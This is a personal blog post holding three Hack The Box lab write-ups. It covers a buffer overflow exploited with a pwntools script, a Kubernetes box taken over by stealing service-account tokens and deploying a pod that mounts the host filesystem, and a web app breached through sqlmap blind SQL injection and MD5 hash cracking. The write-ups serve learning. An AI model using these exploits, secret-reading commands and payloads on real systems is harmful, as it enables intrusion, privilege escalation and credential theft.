Hack The Box You know 0xDiablos Writeup

Hello world, welcome to Haxez. You know 0xDiablos is a Pwn challenge created by RET2pwn on Hack The Box. From my understanding, Pwn challenges are buffer overflow challenges. Honestly, I’ve only ever done one buffer overflow challenge before so I don’t have a clue what I’m doing. I’m going to be following this walkthrough >>here<< to get a better understanding of what to do.

Static Analysis With Ghidra

As mentioned, I have no idea what I’m doing so the first thing I’m going to do is run the binary. I downloaded the zip file from Hack The Box and extracted it. There was a file called vuln and running it produces the output “You know who are 0xDiablos”.

┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/Pwn]
└─$ ./vuln                                                                                            
You know who are 0xDiablos: 

Main

I opened the vuln binary in Ghidra and looked at the ‘main’ function as that seems to be where everyone starts. You can see from the screenshot below that the main function doesn’t do much other than output “You know who are 0xDiablos: ” and call the ‘vuln’ function.

Vuln

According to the author of the blog I’m reading, it is clear that this is a buffer overflow challenge. A char array is being declared but there is no limit to the number of characters being read. I know this is almost exactly what the author said but I can’t think of another way to word it.

You know 0xDiablos Static Analysis With Ghidra

Flag

Ultimately our goal is to find a way to break the program and get the flag. The flag function is responsible for opening the flag. I’m a bit unclear as to whether we need to perform a buffer overflow to call this function or to get access to the host. Surely, if we can execute system commands we can send ourselves a reverse shell and cat the flag? This is only my second buffer overflow.

You know 0xDiablos The Flag Function

Checking For Protections With Checksec

Next, I ran the tool checksec against the binary to see what protections were in place. Please excuse my terminology if it’s incorrect. Also, please reach out if you have a better methodology for doing all of this. I’m genuinely struggling with the process. I’m sure it will get better with the more I do but if you (the reader) are struggling with these challenges then know that you’re not alone.

I’ve heard the terms Stack Canary and others before but I have no idea what they are. This blog is to document my learning process so I’m going to be wrong frequently. Based on the screenshot below, it appears that there aren’t many protections in place. However, I don’t know what having protections in place would look like. I assume that it would show values for the different options.

┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/Pwn]
└─$ checksec --file=./vuln
checksec

Checking For Protections With gdb-peda

I’m following multiple blogs now because I’m struggling to follow some steps in the other one. The author jumps straight to the entry point in Ghidra but I can’t find it. However, this other blog I’m reading has gone through the same process but with GDB instead of Ghidra. Anyway, there is another way to check the protections so I wanted to include it here. It does seem that my installation is a little broken but it is always good to have multiple tools for the same task.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

Dynamic Analysis with GDB

Using the GNU Debugger we can run the binary and find the entry point. An entry point of a program is the point in the code where the execution of the program begins. It is the first instruction that is executed when the program is run. In other words, the entry point is the starting point of the program’s execution.

In many programming languages, the entry point is typically a function or a method that is defined with a specific name, such as “main” in C or C++ or “def main()” in Python. When the program is run, the operating system loads the program into memory and then calls the entry point to begin its execution.

The entry point is a crucial component of any program, as it defines the initial behaviour of the program and sets the stage for all subsequent actions. It is often the first place where errors or bugs can be detected, and as such, it is important to ensure that the entry point is well-designed, robust, and error-free. The screenshot below shows me passing the vuln binary to gdb and then running the info file.

Entry point: 0x80490d0
You know 0xDiablos GDB Vuln Entry Point

This is where I ran into trouble. The author of the original post I was reading jumps straight from finding the entry point in GDB to finding it in Ghidra. I found it in Ghidra but I couldn’t figure out how to search for it in Ghidra. After an hour of Googling, using ChatGPT and blindly poking at Ghidra, I gave up. Sure, I can find it manually but if it was a bigger program I would struggle. I hate having gaps in my methodology so this is a breakpoint!

You know 0xDiablos Break Point

Every time I try to learn buffer overflows (it’s been a few), I always reach my breaking point. Hopefully, one day I won’t struggle as much. Using GDP we can start the program. It seems that peda automatically finds a breakpoint for us. The author explains that we know the value is going to be stored in a 180-sized buffer so a string of 200 characters should be enough to crash it.

Ok, how do we know it’s going to be stored in a 180-sized buffer? am I missing something obvious here? where does it say that? I can’t see it in Ghidra and I can’t see it in the output below. I’m now tempted to stop and find another blog that explains this. However, I know you can fuzz a program with Python and it will tell you exactly how many characters it took to crash it. I’m happy to move forward without knowing how we got this number.

You know 0xDiablos gdb-peda

You know 0xDiablos BOF POC

As mentioned previously, we can test whether the binary is vulnerable to buffer overflow by using python to pass it characters. The screenshot below shows that there was a segmentation fault which I assume means it crashed. Obviously, you wouldn’t want to do this to anything in a production environment as it would crash the program and potentially the server. That would be a denial of service and would get you into trouble.

┌──(kali㉿kali)-[/media/sf_OneDrive/Hack The Box/Pwn]
└─$ python3 -c "print('A'* 200)" | ./vuln
You know 0xDiablos BOF POC

However, we’re going to continue using gdb-peda and create a pattern with that. As you can see from the screenshot below, I created a pattern of 200 characters.

gdb-peda$ pattern_create 200 pattern.txt
Writing pattern of 200 chars to filename "pattern.txt"

We can now run the program again and pass it the pattern.txt file to exceed the array and crash the program.

gdb-peda$ r < pattern.txt
You know 0xDiablos gdb-peda$ r < pattern.txt

The information produced by gdp-peda tells us that the EIP register now holds the value of ‘AwAA’ (EIP: 0x41417741 (‘AwAA’)). Knowing this, we can determine precisely how many characters it took to overflow the buffer.

You know 0xDiablos The Instruction Pointer

The EIP (Instruction Pointer) register is a register in the x86 architecture of computer processors that stores the memory address of the next instruction to be executed by the processor. It is also known as the program counter (PC) in other architectures.

When a processor executes a program, it reads instructions from memory sequentially and updates the EIP register to point to the next instruction in memory. The EIP register is a 32-bit register on 32-bit x86 processors and a 64-bit register on 64-bit x86 processors.

The EIP register is an important component of the processor’s execution pipeline, which fetches, decodes, and executes instructions. The processor uses the EIP register to determine the location of the next instruction to fetch from memory and execute.

Programmers can modify the EIP register using various programming techniques such as branching and jumping instructions to change the flow of execution of a program.

You know 0xDiablos EIP register

We can control the pattern offset by using the pattern_offset command.

gdb-peda$ pattern_offset 0x41417741
1094809409 found at offset: 188

Returning The Flag Function

In order to return the flag, we need to know where the flag function starts. That way we can tell the program to jump to that function when doing the overflow. Using the ‘disas’ and supplying the flag function, we can see that the beginning memory address register for the flag function is ‘0x080491e2’.

To explain, we can create a script that sends a string to the program that will overflow the buffer. Then when the buffer is exceeded, we write the base memory register to the Instruction Pointer so that the flag function gets executed. This will then return the flag and solve the challenge. I think that’s what we’re doing anyway.

gdb-peda$ disas flag
Dump of assembler code for function flag:
   0x080491e2 <+0>:     push   ebp
You know 0xDiablos Flag Base Register

Capture The Flag

Now that we’ve done all the hard work of identifying the vulnerability, and finding out the EIP offset and flag functions base memory address register, let’s steal someone else script. I’m going to use the script found here and change the IP address.

Yes, I should absolutely write my own script. I have no excuse other than I don’t really know how. I also don’t fancy spending a whole evening trying to make one from scratch. Instead, I will steal this script, work out what it is doing and then try to learn from it.

from pwn import *

context.update(arch="i386", os="linux")

elf = ELF("./vuln")

# offset to reach right before return address's location
offset = b"A" * 188

# craft exploit: offset + flag() + padding + parameter 1 + parameter 2
exploit = offset + p32(elf.symbols['flag'], endian="little") + p32(0x90909090) + p32(0xdeadbeef, endian="little") + p32(0xc0ded00d, endian="little")

r = remote("178.62.61.23", 32355)
#r = elf.process()
r.sendlineafter(":", exploit)
r.interactive()
Challenge Complete

You know 0xDiablos Review

Obviously, I struggled with this. It is only my second time though so I will cut myself some slack. Also, it’s been 15 years since I learnt assembly at college. The challenge is great but I definitely struggle with the methodology. Every post I read about buffer overflows uses a different methodology and tools. It drives me insane trying to find the most efficient process when everyone is different. I suppose it’s the same with all areas of hacking, people use different tools for different things.

Note to self, stop procrastinating and learn Python!

Hack The Box SteamCloud Writeup

SteamCloud is an easy, retired vulnerable Linux virtual machine created by felamos from Hack The Box. Hello world, welcome to Haxez where today I’m going to be attempting to hack SteamCloud. This isn’t a walkthrough, it’s more of a way to document my struggles, frustration and what I’ve learnt. It is highly likely that I will follow the official walkthrough as I’m still learning.

SteamCloud Enumeration

After spinning up the box I pinged it to see if it was online. Sure enough, the box responded. Next, I scanned the machine with Nmap to identify what ports were open. As you can see from the output below, port 22 for SSH and a few other ports were open. I’ve not seen the other ports open on boxes before but it seems that they relate to the Kubernetes service.

Kubernetes is an open-source container orchestration platform developed by Google that allows developers to automate the deployment, scaling, and management of containerized applications. Kubernetes provides a set of APIs for deploying, scaling, and managing containerized applications across a cluster of machines. It can manage and orchestrate the deployment of applications that are containerized using popular container runtimes like Docker. Kubernetes provides advanced features like automatic load balancing, automatic scaling of applications based on usage patterns, and self-healing capabilities. It is widely used in modern application development and has become the de facto standard for container orchestration.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ sudo nmap -Pn -sC -sV -p- -A 10.129.96.167 -T4 -oA steamcloud
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-21 03:38 EDT
Nmap scan report for 10.129.96.167
Host is up (0.013s latency).
Not shown: 65528 closed tcp ports (reset)
PORT      STATE SERVICE          VERSION
22/tcp    open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 fcfb90ee7c73a1d4bf87f871e844c63c (RSA)
|   256 46832b1b01db71646a3e27cb536f81a1 (ECDSA)
|_  256 1d8dd341f3ffa437e8ac780889c2e3c5 (ED25519)
2379/tcp  open  ssl/etcd-client?
| tls-alpn: 
|_  h2
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.167, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2023-03-21T07:37:40
|_Not valid after:  2024-03-20T07:37:40
2380/tcp  open  ssl/etcd-server?
| tls-alpn: 
|_  h2
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.167, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2023-03-21T07:37:40
|_Not valid after:  2024-03-20T07:37:40
8443/tcp  open  ssl/https-alt
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 403 Forbidden
|     Audit-Id: cc30677d-95c5-4c9e-a144-cccfbd7b5c0b
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 065cf4c6-349a-4830-b6dc-fe12634add40
|     X-Kubernetes-Pf-Prioritylevel-Uid: da6ad453-c1be-4a95-abe6-ec27573b3303
|     Date: Tue, 21 Mar 2023 07:38:42 GMT
|     Content-Length: 212
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
|   GetRequest: 
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 83bef595-8d68-41bb-863c-1b3a6b6a668c
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 065cf4c6-349a-4830-b6dc-fe12634add40
|     X-Kubernetes-Pf-Prioritylevel-Uid: da6ad453-c1be-4a95-abe6-ec27573b3303
|     Date: Tue, 21 Mar 2023 07:38:42 GMT
|     Content-Length: 185
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
|   HTTPOptions: 
|     HTTP/1.0 403 Forbidden
|     Audit-Id: 6b43a7b4-68c7-4daa-b715-7d8799aa34e3
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     X-Content-Type-Options: nosniff
|     X-Kubernetes-Pf-Flowschema-Uid: 065cf4c6-349a-4830-b6dc-fe12634add40
|     X-Kubernetes-Pf-Prioritylevel-Uid: da6ad453-c1be-4a95-abe6-ec27573b3303
|     Date: Tue, 21 Mar 2023 07:38:42 GMT
|     Content-Length: 189
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.96.167, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2023-03-20T07:37:38
|_Not valid after:  2026-03-20T07:37:38
| tls-alpn: 
|   h2
|_  http/1.1
10249/tcp open  http             Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open  ssl/http         Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: [email protected]
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2023-03-21T06:37:42
|_Not valid after:  2024-03-20T06:37:42
| tls-alpn: 
|   h2
|_  http/1.1
10256/tcp open  http             Golang net/http server (Go-IPFS json-rpc or 
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT      ADDRESS
1   12.22 ms 10.10.14.1
2   12.52 ms 10.129.96.167

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.49 seconds

Kubernetes Enumeration

Admittedly, I’m a bit of a noob when it comes to Kubernetes and Docker. However, I have managed a PAAS service before using Openshift so I know a bit. Unfortunately, that was a long time ago so it’s deep inside the recess of my smooth dense brain. One thing I remember is that Kubernetes creates pods which control the container. I attempted to view the pods by querying the Kubelet service with cURL.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ curl https://10.129.96.167:10250/pods -k
SteamCloud Kubernetes Enumeration

While that command was successful, it was messy. Using the kubeletctl_linux_amd64 binary from GitHub, we can query the service more neatly. The output below shows me listing the pods. Please note, I just spent 10 minutes formatting the table so I will be using screenshots from now. While this gives us the names of the pods, it doesn’t really give us anything we can use.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ ./kubeletctl_linux_amd64 --server 10.129.96.167 pods
SteamCloud kubeletctl Pods

We can use the Kubeletctl binary to check whether any of these Pods allow us to execute commands. As you can see below, the image shows that commands can be run on the kube-proxy-bhb59 and NGINX pods.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ ./kubeletctl_linux_amd64 --server 10.129.96.167 scan rce
SteamCloud Kubeletctl RCE Check

SteamCloud Privilege Escalation

Now that we have code execution on the NGINX pod, we should be able to use it to perform a privilege escalation. I’m not going to pretend I know exactly what’s going on here. Perhaps I do but I’m overcomplicating it in my head. We’re going to create our own highly privileged service account. First, we need to grab the token.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ ./kubeletctl_linux_amd64 --server 10.129.96.167 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx
SteamCloud Token

Next, we need to grab the CA certificate.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ ./kubeletctl_linux_amd64 --server 10.129.96.167 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx
NGINX Certificate

With these two pieces to the puzzle, we should now be able to perform higher privileged operations or something? This is something I will have to revisit, I know what a CA certificate is, but I’m not sure what the token is. Anyway, we save the certificate to a file and we export the token to an environmental variable. I reran the certificate command but piped the output to a file using ‘| tee -a ca.cert’. I ran the following to export the token to the token environmental variable. Replace ‘–snip–‘ with the token.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ export token="--snip--"

Kubectl

With the token and certificate in our possession, we can use Kubectl to talk to the host. As you can see from the command below we can query the pod. Let’s check to see what actions we can perform. The output below shows that we can get, create and list pods. I can see where this is going.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ sudo kubectl --token=$token --certificate-authority=ca.cert --server=https://10.129.96.167:8443 auth can-i --list
Resources  Non-Resource URLs     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   [][][create]
selfsubjectrulesreviews.authorization.k8s.io    [][][create]
pods                                            [][][get create list]
                                                [/.well-known/openidconfiguration][][get]                     

While this path to exploiting the hosts is different to any that I’ve done before, I understand the concept. We’re likely going to create a new pod that mounts the root file system and allows us to chroot it. This will allow us to capture the flags or as a hacker do anything we like with the target system. Anyway, we need to create the pod first, so let us steal the YAML from the official walkthrough. The YAML file is essentially deployment instructions for a pod/container. You can see below that it will indeed mount the /root file system. Please note that the indentation in the official walkthrough is slightly broken, the Yaml below should work.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ cat f.yaml 
apiVersion: v1
kind: Pod
metadata:
  name: nginxt
  namespace: default
spec:
  containers:
  - name: nginxt
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true

Next, we need to deploy a pod using this configuration.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ sudo kubectl --token=$token --certificate-authority=ca.cert --server=https://10.129.96.167:8443 apply -f f.yaml      
pod/nginxt created

We can now check to see if our pod has been created. You can see it below, all fresh and new to the world. It would be a shame if we were to corrupt it.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ sudo kubectl --token=$token --certificate-authority=ca.cert --server=https://10.129.96.167:8443 get pods             
NAME     READY   STATUS    RESTARTS   AGE
nginx    1/1     Running   0          104m
nginxt   1/1     Running   0          2m14s

Now, we can execute commands on the new NGINX pod as we did before to grab the token and certificate. However, this time we’re going to use it to get the user.txt and root.txt files. This is possible because the whole file system has been mounted inside the container.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ ./kubeletctl_linux_amd64 --server 10.129.96.167 exec "cat /root/home/user/user.txt" -p nginxt -c nginxt
3bb▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓031
                                                                                                                                                             
┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ ./kubeletctl_linux_amd64 --server 10.129.96.167 exec "cat /root/root/root.txt" -p nginxt -c nginxt
6cb▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓4e4

SteamCloud Review

This is another one of them boxes where I wouldn’t have had a clue without the official walkthrough. I would have enumerated it, found out that it was Kubernetes and given up. I may have gotten to the point where I was able to query the service and get the pods but doubt I would have gone further. The box is great for learning, there were a number of times when things didn’t go according to plan but I was able to figure it out. Anyway, that’s me done for today. This is a good box, it didn’t make me want to rage quit. It definitely taught me some things which I hope I don’t forget a week from now.

Hack The Box GoodGames Writeup

GoodGames is a retired, easy vulnerable virtual machine created by Hack The Box, it is our challenge to hack into it. Hello world, welcome to Haxez, I’m back trying to hack another box to learn new things.

GoodGames Enumeration

I like to do is to check that the box is online by sending it a ping request. This may not always work as the host or some other device on the network could block ICMP traffic. However, most of the easy machines have responded to pings and this box is no exception.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ ping 10.129.242.108
PING 10.129.242.108 (10.129.242.108) 56(84) bytes of data.
64 bytes from 10.129.242.108: icmp_seq=1 ttl=63 time=13.6 ms
64 bytes from 10.129.242.108: icmp_seq=2 ttl=63 time=12.2 ms
--- 10.129.242.108 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1029ms
rtt min/avg/max/mdev = 12.187/12.912/13.637/0.725 ms

The box is awake and talking to us so it is time to see what services are available. I ran the Nmap command with the scripts flag, the enumerate versions flag and the aggressive flag. As you can see from the output below, the only service that appears open is HTTP on 80. It is running apache with Python 3.9.2 and we can see that domain is goodgames.htb.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ sudo nmap -sC -sV -p- -A 10.129.242.108 -oA GoodGames 
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-20 03:25 EDT
Nmap scan report for 10.129.242.108
Host is up (0.015s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.51
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-title: GoodGames | Community and Store
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=3/20%OT=80%CT=1%CU=32198%PV=Y%DS=2%DC=T%G=Y%TM=64180A8
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M550ST11NW7%O2=M550ST11NW7%O
OS:3=M550NNT11NW7%O4=M550ST11NW7%O5=M550ST11NW7%O6=M550ST11)WIN(W1=FE88%W2=
OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M550NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Network Distance: 2 hops
Service Info: Host: goodgames.htb

TRACEROUTE (using port 21/tcp)
HOP RTT      ADDRESS
1   11.44 ms 10.10.14.1
2   11.60 ms 10.129.242.108

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.94 seconds

I’ve added the domain to my host file but it doesn’t seem to have made much of a difference. Visiting the IP address directly or via the domain name appears to resolve the same website. It appears to be a video game journalist website. I suspect it is using some common content management system but I will need to dig deeper to find out.

Goodgames.htb website

Enumerating The Web Application

There are a number of different tools I like to run when testing web applications. The first is ‘whatweb’ as it can tell you more about the site and the technologies being used. Additionally, I also like to run Nikto but it seems that there is some funky coding. Unfortunately, Nikto thinks every file it looks for exists on the server so I’m going to ignore it for now.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ whatweb http://goodgames.htb
http://goodgames.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Frame, HTML5, HTTPServer[Werkzeug/2.0.2 Python/3.9.2], IP[10.129.242.108], JQuery, Meta-Author[_nK], PasswordField[password], Python[3.9.2], Script, Title[GoodGames | Community and Store], Werkzeug[2.0.2], X-UA-Compatible[IE=edge]

There are various directory and file brute-forcing tools available like Gobuster and Dirb. I tend to use Dirb more than Gobuster for quick analysis. However, as you can see from the output below there isn’t a lot to go on.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ dirb http://goodgames.htb                                                                                          
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Mon Mar 20 03:51:15 2023
URL_BASE: http://goodgames.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612                                                          
---- Scanning URL: http://goodgames.htb/ ----
+ http://goodgames.htb/blog (CODE:200|SIZE:44212)                                                                                                           
+ http://goodgames.htb/forgot-password (CODE:200|SIZE:32744)                                                                                                
+ http://goodgames.htb/login (CODE:200|SIZE:9294)                                                                                                           
+ http://goodgames.htb/logout (CODE:302|SIZE:208)                                                                                                           
+ http://goodgames.htb/profile (CODE:200|SIZE:9267)                                                                                                         
+ http://goodgames.htb/server-status (CODE:403|SIZE:278)                                                                                                    
+ http://goodgames.htb/signup (CODE:200|SIZE:33387)                                                                                                                                                                                                                                               
-----------------
END_TIME: Mon Mar 20 03:52:35 2023
DOWNLOADED: 4612 - FOUND: 7

GoodGames SQL Injection

There is a login portal accessible by clicking the avatar icon at the top of the page. I populated the username and password fields and submitted the request. I tried [email protected] but the main reason for this was to capture the request in burp.

GoodGames Login Page

It’s also worth noting that upon submission of the credentials, I got a 500 error. This suggests something in the code is broken. However, I didn’t include any special characters other than the ‘@’ symbol in my login request.

GoodGames 500 Error

I saved the POST request to a text file and fed it to SQLMap to see if would find anything. Sure enough, it appears we have a blind time-based and boolean-based SQL injection. I love SQLMap because finding blind SQL can be difficult (for me anyway). Furthermore, blind SQL injections can take forever for the data. As you can see below we have a database called main with 3 tables.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ sudo sqlmap -r login.txt -D main --tables                           
        ___
       __H__                                                                                                                                                 
 ___ ___[']_____ ___ ___  {1.7.2#stable}                                                                                                                     
|_ -| . [.]     | .'| . |                                                                                                                                    
|___|_  [.]_|_|_|__,|  _|                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org                                                                                                                 

---
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: [email protected]' AND (SELECT 2122 FROM (SELECT(SLEEP(5)))NPSu) AND 'LuBm'='LuBm&password=admin

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: [email protected]' AND 1646=(SELECT (CASE WHEN (1646=1646) THEN 1646 ELSE (SELECT 8949 UNION SELECT 5637) END))-- -&password=admin
---
[04:11:13] [INFO] retrieved: blog
[04:11:14] [INFO] retrieved: blog_comments
[04:11:17] [INFO] retrieved: user
Database: main
[3 tables]
+---------------+
| user          |
| blog          |
| blog_comments |
+---------------+

[04:11:18] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/goodgames.htb'
[*] ending @ 04:11:18 /2023-03-20/

The information we want is probably hiding inside the user’s table so I dumped that next. As you can see from the output below I messed up my command. I only wanted to dump the user’s table but ended up dumping everything. Nevermind, we got the admin user’s hash so now we just need to crack it.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ sudo sqlmap -r login.txt -D main T user --dump
        ___
       __H__                                                                                                                                                 
 ___ ___[,]_____ ___ ___  {1.7.2#stable}                                                                                                                     
|_ -| . [,]     | .'| . |                                                                                                                                    
|___|_  [,]_|_|_|__,|  _|                                                                                                                                    
      |_|V...       |_|   https://sqlmap.org                                                                                                                 

---
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: [email protected]' AND (SELECT 2122 FROM (SELECT(SLEEP(5)))NPSu) AND 'LuBm'='LuBm&password=admin

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: [email protected]' AND 1646=(SELECT (CASE WHEN (1646=1646) THEN 1646 ELSE (SELECT 8949 UNION SELECT 5637) END))-- -&password=admin
---
Database: main
Table: blog_comments
[2 entries]
+----+---------+--------+----------------------------------------------+
| id | blog_id | user   | comment                                                 | created_at | is_accepted |
+----+---------+--------+----------------------------------------------+
| 1  | 1       | admin  | --snipp-- | NULL       | 1           |
| 2  | 1       | admin  | --snipp-- | NULL       | 0           |
+----+---------+--------+----------------------------------------------+
[04:17:25] [WARNING] no clear password(s) found                                                                                                             
Database: main
Table: user
[1 entry]
+----+-------+---------------------+----------------------------------+
| id | name  | email               | password                         |
+----+-------+---------------------+----------------------------------+
| 1  | admin | [email protected] | 2b22337f218b2d82dfc3b6f77e7cb8ec |
+----+-------+---------------------+----------------------------------+

[04:17:25] [INFO] table 'main.`user`' dumped to CSV file '/root/.local/share/sqlmap/output/goodgames.htb/dump/main/user.csv'
[04:17:25] [INFO] fetching columns for table 'blog' in database 'main'

Cracking The Admin Hash

Cracking the administrator’s hash was fairly painless. You could throw the hash into a site like crackstation.net but you may not always have internet. It’s always good to have multiple tools for the same job. It’s also good to know how to manually use those tools in case the automated ones don’t work. I fed the hash to our old pal John The Ripper and he hacked it up for me in no time at all. As you can see, the password was ‘superadministrator’.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ sudo john --format=raw-md5 admin.hash --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
superadministrator (?)     
1g 0:00:00:00 DONE (2023-03-20 04:20) 6.666g/s 23175Kp/s 23175Kc/s 23175KC/s superarely1993..super5dooper
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 

Cracking is a lot of fun so I decided to crack it again with Hashcat just for the sake of it. After all, we need to verify that John gave us the correct password. Sure we could try to log in but what if there is some brute force protection and our account gets locked out? Ok, here is the hashcat output.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ sudo hashcat -m 0 admin.hash /usr/share/wordlists/rockyou.txt 
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

2b22337f218b2d82dfc3b6f77e7cb8ec:superadministrator       
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 2b22337f218b2d82dfc3b6f77e7cb8ec
Time.Started.....: Mon Mar 20 04:31:53 2023 (1 sec)
Time.Estimated...: Mon Mar 20 04:31:54 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  5502.4 kH/s (0.04ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3476480/14344385 (24.24%)
